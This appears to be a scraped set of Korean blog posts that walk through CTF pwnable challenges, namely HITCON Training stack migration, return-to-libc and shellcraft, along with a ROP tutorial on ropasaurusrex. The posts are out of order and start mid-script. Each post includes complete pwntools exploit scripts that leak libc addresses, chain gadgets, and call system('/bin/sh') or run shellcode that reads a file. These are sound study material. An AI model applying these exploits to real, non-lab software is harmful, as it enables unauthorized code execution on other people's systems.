log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
cs


먼저 첫 라인부터 43번째 라인까지 한번 보겠습니다.

1 ~ 4라인은 exploit에 필요한 정보들을 쉽게 얻으려고 문제 파일(migration)과 migration이 참조하고 있는 so파일을 ELF()로 열었어요.

여기서 필요한 함수의 plt/got, symbol주소를 얻을 거에요. 


6,7라인은 디버그 모드로 이 코드를 돌리겠다(?) 정도로 보면 될 것 같습니다. 나중에 출력되는 걸 보면 아실거에요!


stack migration이 사용가능한 메모리 공간으로 스택을 이동시켜서 사용하는 거라 그랬져?

12 ~ 16라인에서 이 스택 공간을 정의해주고 있습니다.

사실 이 공간을 선정하는 방법에 대해서는 아직 잘 모르겠습니다ㅠ writeup에서는 bss+0x600, bss+0x700의 공간을 찍고있는데,



보시다시피 objdump로 살펴본바로는 bss는 8바이트 밖에 되지 않아요..

이외의 공간이라는건데 저 부분이 어디인지는 잘모르겠습니다. 다만, gdb로 확인을 했을 때는 0으로 초기화되어있는 공간이기는 하더군요.

저는 dynamic section + 0x600과 0x700을 더한 부분을 사용했습니다. 마찬가지로 이 공간이 어디인지는 모르구요..ㅠ


19~25라인에서는 필요한 plt, got 그리고 symbol주소를 가져왔습니다.

libc에서 puts와 system함수의 차이를 구한 후 이따가 실제 프로그램이 돌아갈 때 puts의 주소를 받아서 system함수를 계산할꺼에요.

그리고 이 과정에서 read함수가 필요하기 때문에 read의 plt주소도 가져옵니다.


그리고 필요한 rop 가젯들을 구해왔어요(37~43). pr은 puts사용할 때, pppr은 read사용할 때 쓰기위함이고! 

leave_ret는 ebp를 바꿔서 스택공간을 바꿀 때 사용할거에요.


3-2. payload


페이로드는 크게 세 부분으로 나뉘어져있어요


1
2
3
4
5
6
7
8
9
10
11
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
cs


우선 step1을 보시면, 더미를 쓰고 스택공간을 옮길거에요.


a를 40개 채워서 버퍼공간을 모두 채운 후 fake_stack1의 주소를 SFP에 덮어써서 ebp의 값을 바꿔줍니다. 그리고 read를 실행해요.

여기서 눈여겨 보셔야할 부분은 스택을 정리하는 부분에 pppr의 가젯 주소가 아닌 leave_ret주소가 들어간다는 점이에요.


read를 실행하고 나서 leave; ret;를 실행 하게 되는 거겠지요? 그렇다면 leave; ret;가 어떤 일을 하는지 한번 보자구요.



에필로그는 다음과 같다.

leave

mov esp, ebp

pop ebp


ret

pop eip

jmp eip


어셈블리어를 해석하자면 'ebp의 주소값을 esp로 복사하고

현재 스택의 제일 위에있는 내용을 ebp에 넣고 return 한다'고 알수있다


출처: http://r00p3r.tistory.com/entry/leave-ret의-이해 [r00p3r]


보시다시피 leave는 esp에 ebp의 값을 넣어주고 ebp를 스택에서부터 팝 해옵니다.

ret는 eip를 스택에서 pop해오고, 그 후에 그 주소로 점프를 뜁니다.


일단 step1에서는 여기까지만 숙지하시고 다음 스텝으로 넘어가볼게요.

정리하자면 step1에서는 스택을 fake_stack1으로 옮겼고, 표준입력으로 받은 값을 이 fake_stack1에 써준다. 그리고 난 후 leave_ret를 실행한다.

이렇게 정리 할 수 있겠습니다.



이제 step2를 이어서 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
cs


맨위에 fake_stack2의 주소를 써주고 있는 것이 보이시나요?

좀전 step1에서 read함수를 실행 한 다음 하는 것이  leave ret라고 했잖아요. 스택 최상단에 있는 값, 그러니까 지금 보내는 payload의

제일 첫번째 값이 ebp값으로 바뀌게 되고(leave), 그 다음에 있는 주소값을 eip에 넣은 후 그 주소로 점프를 뛰게 됩니다.(ret)

따라서 ebp가 fake_stack2로 바뀌고, puts를 실행하게 되겠지요.


puts의 인자는 puts_got에 있는 값을 출력하게 됩니다.

그리고 나서 다시 표준입력으로 fake_stack2에 값을 쓰도록 만들었습니다. 그리고 leave_ret을 하니까

다음 입력에는 fake_stack1의 주소 값이 들어 있으리라 예상할 수 있겠지요.


step2에서는 puts의 got주소를 출력하고 fake_stack2로 스택의 공간을 이동시켰어요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


마지막 step3에서는 출력된 puts의 got를 읽어서 위에서 계산한 offset을 이용하여 system함수의 주소를 계산해 냅니다.
그리고 스택공간을 다시 fake_stac1으로 바꾸고, 표준입출력으로 /bin/sh문자열을 입력받아 system함수를 call하면 마무리됩니다.

끝!


1. 시작하기전에...

이 풀이를 보시기 전에 앞서 블로깅한 글(rop)을 보고 와주시면 감사하겠습니다.


링크 : http://bachs.tistory.com/entry/NXNo-eXcutable-ROP?category=961837


return to libary는 함수의 리턴주소를 overflow를 이용하여 사용하고자 하는 함수의 주소로 덮어써 프로그램의 실행 플로우를 조작하는 것을 말합니다.

이 문제에서는 Print_message()의 리턴주소를 덮어썼습니다.


2. 분석


먼저, 문제에서 주어진 ret2lib.c파일을 살펴봅시다.


#include <stdio.h>
 
void See_something(unsigned int addr){
    int *address ;
    address = (int *)addr ;
    printf("The content of the address : %p\n",*address);
};
 
void Print_message(char *mesg){
    char buf[48];
    strcpy(buf,mesg);
    printf("Your message is : %s",buf);
}
 
int main(){
    char address[10] ;
    char message[256];
    unsigned int addr ;
    puts("###############################");
    puts("Do you know return to library ?");
    puts("###############################");
    puts("What do you want to see in memory?");
    printf("Give me an address (in dec) :");
    fflush(stdout);
    read(0,address,10);
    addr = strtol(address);
    See_something(addr) ;
    printf("Leave some message for me :");
    fflush(stdout);
    read(0,message,256);
    Print_message(message);
    puts("Thanks you ~");
    return 0 ; 
}


처음으로는 return to library에 대해 알고있는지 물어본 후 메모리 어떤 부분을 보고싶냐고 친절하게 물어봅니다.

알고 싶은 주소값을 던져주면 See_something()을 통해서 해당 주소에 어떤 값이 저장되어 있는지를 출력을 해주고있습니다.


그리고 남길말을 입력하라고하는데 이때 Print_message에서 Buffer Overflow를 발생시킬 수 있습니다.

Print_message의 인자로 입력할 남길말이 message변수에 담겨서 전달이 되는데 사이즈를 256바이트를 받습니다.

그리고 함수 내에서는 지역변수 48바이트짜리 버퍼에 카피를 하고있습니다.


함수 내 지역변수는 프로그램 스택에 저장이 되기 때문에 48바이트 공간에 256바이트를 카피하면 Overflow가 발생하게 되는 것이지요!

혹시 이해가 잘 안되신다면 앞선 블로깅들을 보고와주시기 바랍니다ㅠ


그럼 코드를 봤으니 gdb로 한번 까봅시다.

Print_message의 +6  에서 함수의 input으로 보이는 ebp+0x8을 eax에 넣고,

+9에서는 이 eax의 값을 esp+0x4 위치(스택 최상위 바로 아래)에 저장하고있습니다. 그리고

+13에서 eax에 지역변수 buf로 보이는 ebp-0x38을 저장한 후

+16에서 esp로 저장하고나서

+19에서 strcpy함수를 호출합니다.


결과적으로 정리하면 스택 최상위에는 ebp-0x38, 그 아래에 ebp+0x8이 각각 위치하고 strcpy가 호출 되는 거네요

c소스 중 strcpy(buf, mesg); 이 라인이 어셈으로 표현됐다고 보면 되겠습니다.


따라서, ebp-0x38(56)에 buf값이 저장될테고, 리턴 주소를 덮어 쓰려면 60개의 dummy가 필요하다는 계산이 나올 수 있습니다.

현재까지 분석한 스택의 상황을 그려보면 이런 모습이겠죠, dummy가 60바이트만큼 필요하단 건 buf size(56byte) + SFP(4byte)를 말씀드린 것입니다.


3. exploit


return to library를 하기위해서 준비할 것은 크게


1. Overflow로 덮어쓸 위치

2. 사용하고 싶은 함수와 기타 리소스 주소 알아내기


정도가 될 것 같습니다.

Overflow로 덮어쓸 위치는 구했고.. system("/bin/sh")를 사용할 거고, 따라서 필요한건 system함수의 주소, "/bin/sh"문자열의 주소를 알아내야합니다.


알아 낼 방법은 이 프로그램 내에서 특정 주소를 입력하면 그 값을 알려주기 때문에, 프로그램에서 사용된 puts의 got를 입력해 puts의 실제 함수 주소를 알아내고, 그 값을 기준으로 system 함수의 주소와 "/bin/sh"의 주소를 계산해 내도록 하겠습니다.


solv.py

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process('./ret2lib')
= ELF('./ret2lib')
 
#found address of puts got
log.info("found address of puts got : %s" % hex(e.got["puts"]))
puts_got = e.got["puts"]
 
p.recvuntil(":")
p.send(str(puts_got))
 
puts_addr = p.recvline()
puts_addr = int(puts_addr.split(":")[1].strip(), 16
 
sys_offset   = 0x24d40
binsh_offset = 0xfd548
 
system_addr = puts_addr - sys_offset
binsh_addr  = puts_addr + binsh_offset
 
log.info("address of puts : %s" % hex(puts_addr))
log.info("address of system : %s" % hex(system_addr))
log.info("address of /bin/sh string : %s" % hex(binsh_addr))
 
payload  = ""
payload += "a"*60 #dummy 60bytes
payload += p32(system_addr)
payload += "aaaa"
payload += p32(binsh_addr)
 
p.recvuntil(":")
p.send(payload)
p.interactive()



먼저 puts의 got를 알아내서 이 주소값을 프로그램에 전송하고, 결과로 실제 puts 함수의 주소를 알아냅니다.

그리고 이 값을 기준으로 system 함수의 offset과 "/bin/sh"문자열의 offset으로 계산하여 실제 주소들을 알아내는데,

offset은 이렇게 계산할 수 있습니다.

gdb로 프로그램을 실행 한 후 실행 당시의 주소 값들을 가지고 계산을 하는데, puts의 함수와 얼마나 떨어져 있는지를

offset으로 사용하여 프로그램 실행 당시에도 각각의 위치를 알아 낼 수 있는 것이지요.


계산이 끝났다면 이제 payload만 완성 시켜주면됩니다. 60개의 dummy를 넣고, system함수의 주소와 가상의 리턴 주소값(dummy) 그리고 system함수의 인자를 넣어주면 payload완성입니다.



끝!


1. 시작전에...

이번에 HICON Training을 CodeByO와 같이 풀어보기로했습니다. 저는 짝수번을 맡기로 하였고, 풀이 내용을 블로깅 할 예정입니다.


pwntools의 shellcraft를 이용하면 각 아키텍쳐(x86, amd64, arm, mips, ...)에 맞는 쉘코드를 손쉽게 만들어 사용할 수 있습니다.

낮은 번호의 문제라서 그런지 어떤 지식이 필요했다기 보다는 shellcode를 만들 수 있는 지를 확인 하는 것 같았습니다. 사실 풀이랄 것도 별로 없어요ㅠ


2.  분석

먼저 file명령어를 이용해서 어떤 파일인지 살펴보니까 ELF 32bit실행파일입니다.



실행파일이니까 실행을 한번 해봅시다.


실행하면 "Give my your shellcode:" 가 프린트 되고, 입력을 받습니다.

hello 라고 입력을 했더니 세그먼트 폴트가 나고 말았네요.


ida를 이용해서 디컴파일을 해보면


간단하게 메인 함수가 있습니다. 살펴보면 위에서 직접 실행하면서 봤던 Give my... 문자열을 print해준 후에 shellcode에 입력 값을 200byte넣어 준 후 아래에서 실행 하는 것 같습니다.



gdb(peda)로 한번 열어보겠습니다.

main+41 ~ 53까지를 보면 0xc8, 0x804a060, 0x0을 차례대로 스택에 push한 후 read함수를 호출하고 있습니다. 0xc8은 10진수로 200으로

ida에서 본 read(0, &shellcode, 200u); 부분이 되겠네요. 그리고 main+61, 66을보면 0x804a060을 eax에 넣고 call eax를 하고 있습니다.


우리가 Give my... 이후에 입력한 값은 0x804a060에 저장이 되고 결과적으로 main+66에서 call하게 되는 것이지요



따라서 Give my.. 이후에 적당한 쉘코드를 넣어주면 그 쉘코드가 실행이 될 것으로 보입니다.

문제에서 의도한 것은 원래 서버에 있는 flag를 읽는 것이지만, 현재 HITCON Training의 서버가 죽은 것으로 보여 local 환경에서 테스트 해보기로 합시다.


3. exploit


============solv.py============

from pwn import *

p = process('./orw.bin')

context(arch='i386', os='linux')

shellcode = ''

shellcode += shellcraft.pushstr('flag')

shellcode += shellcraft.open('esp', 0, 0)

shellcode += shellcraft.read('eax', 'esp', 100)

shellcode += shellcraft.write(1, 'esp', 100)

#log.info(shellcode)

p.recvuntil('Give my your shellcode:')

p.send(asm(shellcode))

log.success(p.recvline())

==============================



우리에게 필요한 것은 32bit환경의 쉘코드가 필요하므로 arch는 i386, os는 리눅스로 컨텍스트를 설정해 주고 난 다음
쉘코드를 만들 내용을 shellcraft를 이용해서 만듭니다.

shellcode += shellcraft.pushstr('flag') #open함수의 인자로 사용하기 위해 파일명을 push

shellcode += shellcraft.open('esp', 0, 0) #스택 최 상단에는 파일명이 있으므로, esp를 이용해서 open함수를 call

shellcode += shellcraft.read('eax', 'esp', 100) #open함수 호출 후 eax에 fd가 반환되므로 해당 fd에서 100byte만큼 읽어서 esp에 저장

shellcode += shellcraft.write(1, 'esp', 100) #write함수의 fd에 표준출력을 주어서 파일 내용을 출력




local에서 테스트하기 위해 생한 flag파일이 정상적으로 읽혀 출력되는 것을 확인 할 수 있습니다.



[추가] pwnable.kr 의 Toddler`s Bottle에 있는 asm문제가 유사하니 풀어보시는 것을 추천드립니다.


'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab6 / Stack migration, Stack pivoting  (0) 2017.12.15
[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31

1. 시작전에..


기초적인 오버플로우를 이용하여 exploit 하는 것은 여러 메모리 기법에 의해 성공시키기 어렵습니다. 

이 때문에 ROP라는 기법을 통해서 exploit을 시도하는데요. 이번에 저도 말로만 들어왔던 ROP에 대해서 한번 알아보았습니다.

제가 참고했던 링크는 https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/ 이 곳의 글을 주로 참고하였고,

사용했던 바이너리는 위 글에서 사용한 예제와 같이 2013년 plaidCTF에서 출제되었던  ropasaurusrex바이너리를 사용하였습니다.



2. 용어


먼저, 이 문제를 풀이하며 필요한 용어와 아이디어를 풀어봅시다!


2-1. NX(No eXecutable)

NX는 위에서 언급했던 메모리 기법 중 하나인데요, 메모리 페이지의 권한을 write권한과 excutable권한을 동시에 갖지 않도록 설정하는 방법입니다.


좀 더 설명을 하자면, 예를 들어 설명하자면 80짜리 버퍼가 있고, 오버플로우를 이용해서 버퍼(스택 공간)에 쉘코드 및 \x90으로 80만큼 채운 후 4바이트 sfp를 덮고, RET자리에 쉘코드 시작 주소를 넣는다고 가정해봅시다.


위의 그림과 같이 가정한대로 오버플로우를 이용해 RET주소를 쉘코드 시작주소로 덮어써주었습니다.

리턴주소가 쉘코드 시작주소로 덮어 써졌으므로 쉘코드가 실행되어 exploit이 가능하겠지요?


여기에 NX가 설정이 되어 있으면, 스택공간에 있는 저 쉘코드에 실행권한이 없어서 RET를 주소로 덮어써주어도!

실행권한이 없기 때문에 실행이 되지 않아 exploit이 불가하다 이런 개념입니다.


2-2) ROP(Return Oriented Programming)

현재 수행 중인 프로그램 코드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜스택의 제어를 통제하는 기술, 실행되는 모든 명령어들이 원래 프로그램 안에 존재하는 실행 가능한 메모리 영역에서 추출한 것들이기 때문에 실행가능하다!


[참조] http://shayete.tistory.com/entry/6-Return-Oriented-Programming


위에 써드린 참조 주소에 설명이 매우 잘되어있어요.. 심지어 영상 강의까지 있으니 도움이 많이 되실 듯 합니다.


참고로, 위에서 말한 선별된 기계 명령어 또는 기계 명령어 덩어리를 "가젯(gadget)"이라고 부릅니다.

사실 위에 설명만으로는 너무 추상적인 이야기이기 때문에 감이 잘 안오실껀데..(전 그랬거든요) 직접 어떻게 페이로드가 구성되는 지 보시면 바로 감이 올꺼에요


2-3) RTL Chain(Return To Library Chain)

함수가 호출 되는 과정을 살펴봅시다.

1. 함수 호출 전 스택에 차곡차곡 파라미터들을 push합니다. 

2. 다음 실행 명령어를 스택에 push한 후 해당 함수 주소로 jmp합니다.

3. 스택프레임을 구성하고 함수가 실행됩니다.

4. pop eip를 통해 다음 명령어 주소를 복구하여 다음을 진행합니다.


예를 들어 리턴 주소들(함수 주소들)이 차곡차곡 쌓여있는 아래와 같은 스택이 있다고 생각해봅시다.

"각 함수들이 아무 arguments를 받지 않는다"라고 가정한다면, 해당 스택을 가진 함수가 끝나고나면 RET1의 주소에 있는 함수를 호출 하게 되겠죠?

그리고 그 함수가 끝나고 나면 RET2의 주소에 있는 함수를 호출하게 될거에요, 그리고 그다음엔 RET3...

이렇게 호출하게 되는 이유는 함수 호출 전 다음 실행되는 명령어의 주소가 미리 push되어 있다는 가정하에 pop eip명령어를 통해 프로그램의 흐름을 제어 하기 때문에 이루어지게됩니다. 물론 실제로는 이렇게 구성되는 경우는 없다고 볼 수 있겠지만, 오버플로우가 가능한 상황에 우리가 임의로 이런 스택구조를 만들 수 있습니다.


그렇다면, 이런 스택 구조도 생각해 볼 수 있을거에요

RET1의 주소에 있는 함수가 하나의 argument를 전달받아야 한다면, 위와 같은 방식으로 arg1A값을 넣어서 전달 할 수 있어요,

마찬가지로 RET2의 주소에 있는 함수에 두 개의 arguments를 전달 할 수 있죠, 다만 차이가 있다면 argumnets와 RET주소 사이에 pop을 보셔야합니다.

argument들을 사용하기위해 스택에 쌓았지만 프로그램 흐름을 제어하기 위해서는 RET2를 pop하기 전에 스택에서 사라져 줘야한다는 것이지요

그렇게 하기 위해서 각 각 갯수에 맞추어 pop한 개, pop두 개가 실행 되는 "가젯"들이 필요한거에요.


한 셋트씩 뜯어서 보자면, RET주소 + arguments갯수만큼의 pop + ret하는 가젯의 주소 + arguments 이렇게 한 셋트로 묶어서 생각하시면 됩니다.

이러한 것들을 엮어서 만든 것이 chain 형태처럼 보이나요?


이 "가젯"들은 프로그램 안에 존재하는 것들을 찾아서 써야하고, 이런 가젯들을 찾기위해 여러가지 툴이 있습니다만, 저는 rp를 사용했습니다.

rp : https://github.com/0vercl0k/rp/downloads


RTL은 Return To Library로, 일반적으로 프로그램에서 사용하는 라이브러리안에 있는 함수를 리턴하여 공격하는 방식입니다.

가령 공격할 바이너리에 system함수가 없어도 기본적으로 사용하는 라이브러리안에 system함수가 있기때문에 이 주소를 찾아서 위의 체인안에 주소를 넣어주는 식으로 공격할 수 있습니다.


다만, ASLR(Address Space Layout Randomization)기법이 적용되어있다면 함수들의 주소가 실행 할 때마다 유동적으로 바뀌기 때문에 이 주소를 찾아줘야하는 수고가 필요 할 수 있습니다.


 

3. 분석

실제 예제를 분석해보면서 위에서 살펴본 개념들을 구체화해봅시다.



먼저 바이너리가 어떤상태인지 살펴보니까, elf 32bit바이너리네요. 동적링킹되어있고요.



실행하니까 입력을 받고 그냥 WIN이라는 문자열을 출력하고 끝내네요??



gdb로 열어서 main을 까보려고하니까 심볼테이블이 로드되지 않았다고하네요..

사실 저는 여기서부터 어떻게해야하나 막막했는데, 이럴땐 main의 주소를 알아내서 시작할 수 있습니다. IDA로 열어보면!



main을 찾을수 있죠? 그리고 옆엔 주소를 알수 있자나여?? 이 주소로 gdb로 까보면 까볼 수 있다 이겁니다.



짠! 요렇게요. 기왕 IDA로 열어봤으니까 짱짱좋은 hex-ray가지고 분석을 좀더 해보자고여.


디스어셈블했을 때도 알 수 있는 있지만, main은 별게 없어요. 어떤 함수 하나를 호출 한 다음에 그저 WIN이라는 문자열을 write함수를 통해

출력해줄 뿐이죠.


원래 저 함수는 임의의 문자열로 되어있는데 저는 분석하기 편하도록 vulnFunc라는 이름으로 수정해주었습니다.

그럼 vulnFunc함수를 볼까요?


 

첫 번째 라인에서 char buf; // [sp+10h] [bp-88h]@1 로 버퍼의 사이즈가 스택에 0x88만큼 할당이 되고 있는 것을 알 수 있고,

두 번째 라인에서 return read(0, &buf, 0x100u); , read함수를 통해 표준입력으로 0x100만큼 입력을 받고 있는 것을 볼 수 있죠?

여기서 BOF를 이용해 스택을 조작할 수 있겠습니다.


0x88은 십진수로 136이잖아요? 그렇다면 vulnfunc함수 안에서 스택의 모양은 아래 처럼 예상해 볼 수 있을 거에요


우린 여기서 RET를 덮어서 RTL Chain을 엮어가지고 exploit을 할꺼잖아요? 구체적으로 어떻게 하면 좋을 지, 거기엔 무엇이 필요한 지 한번

봅시다.


우선, 우리가 호출하고 싶은 건 system("/bin/sh"); 잖아요?

"/bin/sh" 문자열은 프로그램 내에 없을 테니까 이 문자열을 어딘가에 임의로 써주어야겠죠?


그리고 system()의 주소가 필요하죠. 여기서는 서버에 aslr환경이 적용되어있다고 가정 하여 실행 시 주소가 매번 변경된다고 가정하겠습니다.

즉, 그냥 system()의 주소가 필요한 것이 아니라 바이너리를 실행할 당시의 system()주소가 필요합니다.


근데 프로그램 내부에서는 system함수를 쓰고있지 않기 때문에 프로그램에서 사용하는 read함수 주소(got주소)를 얻어내서 offset을 계산 한 후

이 offset을 이용해서 system함수의 주소(got주소)를 읽어와야합니다.


got에 대한 내용은 아래를 참조해주세요.


PLT와 GOT자세히 알기-1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT자세히 알기-2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


메모리에서 어떤 값을 써주어야하고, 읽어와야하기 때문에 read, write함수를 써야할거에여. read, write를 호출하려면 read, write의 plt주소를 알아와야해요. 알아온 주소로 chain을 구성할 수 있을거에요. 


read와 write는 모두 인자를 3개를 받고 있기 때문에, pop pop pop ret; 형태의 가젯의 주소 또한 필요하겠네요!


read / write를 연달아 호출하는 RTL Chain은 아래와 비슷한 형태가 되겠지요


그렇다면 결론적으로 필요한 것이 어떤 것들이 있는 지 정리를 해보고 필요한 것들을 모아봅시다.


1. read / write의 plt

2. pop을 세 번한 후 ret하는 가젯

3. 프로그램 실행 당시의 system함수의 got

4. 메모리에 "/bin/sh" 문자열을 써야함



익스플로잇 코드는 pwntools모듈을 통해 짜볼껀데, 여기에 plt와 got를 한방에 알아내는 아주 좋은 기능이 있으니 1번은 생략합시다.

가젯은 위에서 얘기한데로 rp를 이용해서 찾아볼거에여

rp -f [file path] -r [gadget`s maximun size] 로 사용할 수 있으니, 우리는


rp -f ./ropasaurusrex -r 4 로 실행을 해보면!!


결과 중 빨간 네모칸에 보이는 저 가젯을 찾을 수 있습니다. 


전 처음에 이 가젯을 보고 ebp값을 건드리기 때문에 스택프레임이 깨지면서 segfault가 나지 않을까 고민을 곰곰히 해봤는데, 어차피 chain을 통해 계속 스택프레임이 재구성되기 때문에 문제가 없을 거라는 결론을 내렸고 실제로도 이상이 없었어요.


자자 그럼 가젯도 모았고, 이제 프로그램 실행 당시의 system함수의 got는 어찌 구하느냐!

요건 미리 돌려보고 기준점을 삼을 함수를 하나 선정해서 offset을 계산해야해요, 전 read의 got를 기준으로 잡았고 이것으로 offset을 계산을 할거에요.



※프로그램을 실행해야 테이블이 로드되면서 주소를 알 수 있어요. 적당한 곳에 브레이크 포인트를 잡고 실행 한 후 찾아주세요.


빨간 네모친 부분에 read / system 함수의 got주소가 있죠? offset은 0xf7ec4c60(read) - 0xf7e28b40(system) = 0x9c120 이 되겠네요!

마지막으로 system함수의 인자로 필요한 "/bin/sh"문자열을 쓰는건 RTL Chain을 이용해서 쓰도록 해야할텐데, 기본적으로 data나 bss영역에 쓴다고 하던데.. 



위에 그림은 objdump - x ./ropasaurusrex  로 섹션정보를 출력한거에요.


첫 번째로 나오는 놈이 사이즈인데 23. data섹션과 24. bss섹션은 8바이트밖에 안되져 ㅠㅠ 너무작아서 쓰기 힘들 것 같습니다. 

20. dynamic 섹션은 다이나믹 링킹과정에 필요한 섹션이라고 하는데.. 여기서는 건드려도 무방하다고만 알고있어요... elf구조는 아직 뜯어보지 못하여서 잘모르겠습니다.


어쨌든! dynamic 섹션에 쓰면 될 거 같고, 요 섹션의 주소 또한 pwntools에서 쉽게 얻어낼 수 있습니다.


그럼 이제 어떻게 익스플로잇을 하는 지 코드를 한번 볼까요?


4. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
 
binsh = "/bin/sh"
 
#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]
 
#real address of read func - real address of system func
offset = 0x9c120
 
#080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x080484b6
 
#payload
#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))
 
#step 2. reading address of read`s got
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)
 
proc.send(payload + "\n")
proc.send(binsh)
 
read_address = proc.recv(4)
system_address = u32(read_address) - offset
 
log.info("read address   = %x" % u32(read_address))
log.info("system address = %x" % system_address)
 
proc.send(p32(system_address))
 
log.info("Exploit is Success!!")
proc.interactive()



항상 그래왔듯이 결과부터 보자구여!

proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

이 줄은 바이너리를 실행 해서 프로세스를 생성하는 줄이에요


= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

해당 파일을 elf format으로 읽어주는 줄이고,


#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]


이 부분에서 pwntools의 파워풀함을 알 수 있죠, 위처럼 elf로 파일을 읽으면 각 섹션주소와 plt와 got의 주소를 한방에 알아낼 수 있습니다.

그 아래에서는 우리가 찾아낸 offset과 가젯의 주소를 선언해 주었습니다.


페이로드가 만들어지는 부분을 살펴볼까요?


#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))


스텝 1에서는 read 함수를 이용해서 "/bin/sh"문자열을 .dynamic section에 써주는 부분이에요, 먼저 BOF를 내기위해 더미 140바이트(buf size(0x88, 136) + sfp(4))를 써주었고,

리턴 주소를 read의 plt로 덮어주어서 read함수를 호출했어요, 그리고 인자정리를 위한 pppr을 넣어주고 "/bin/sh"를 입력해주기 위해 stdin의 fd인 0을 넣어주었습니다.

그리고 ds_section의 주소를 넣어주고, "/bin/sh"문자열의 length를 넣어주었죠


#step 2. reading address of read`s got

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 2에서는 같은 형식으로 표준 출력으로 read의 got주소를 출력해주게 했어요 프로그램 실행당시의 주소를 알아야하기때문에 이렇게 알아낸거죠 


※위처럼 표준 입출력을 통해 프로세스와 인터렉션하는 부분은 아래에 나와요, 페이로드에서는 인터렉션을 하기 위한 구조(?)를 만든다고 생각하시면 됩니다.


#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 3에서는 스텝 2에서 알아낸 read함수의 got주소를 가지고 offset으로 계산한 후 전달한 system함수의 got주소를 read함수의 got에 덮어쓰는 부분이에요, 덮어 쓴다음에 read함수를 호출하면 system함수가 호출되게 하기 위해서에요


#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)


스텝 4에서는 read함수를 호출하는데, 인자로 ds_section의 주소 즉, "/bin/sh"를 전달해요, 인자 전달전에 중간에 더미로 0xaaaabbbb를 전달해서 구조를 맞춰 줍니다.



5. 결과


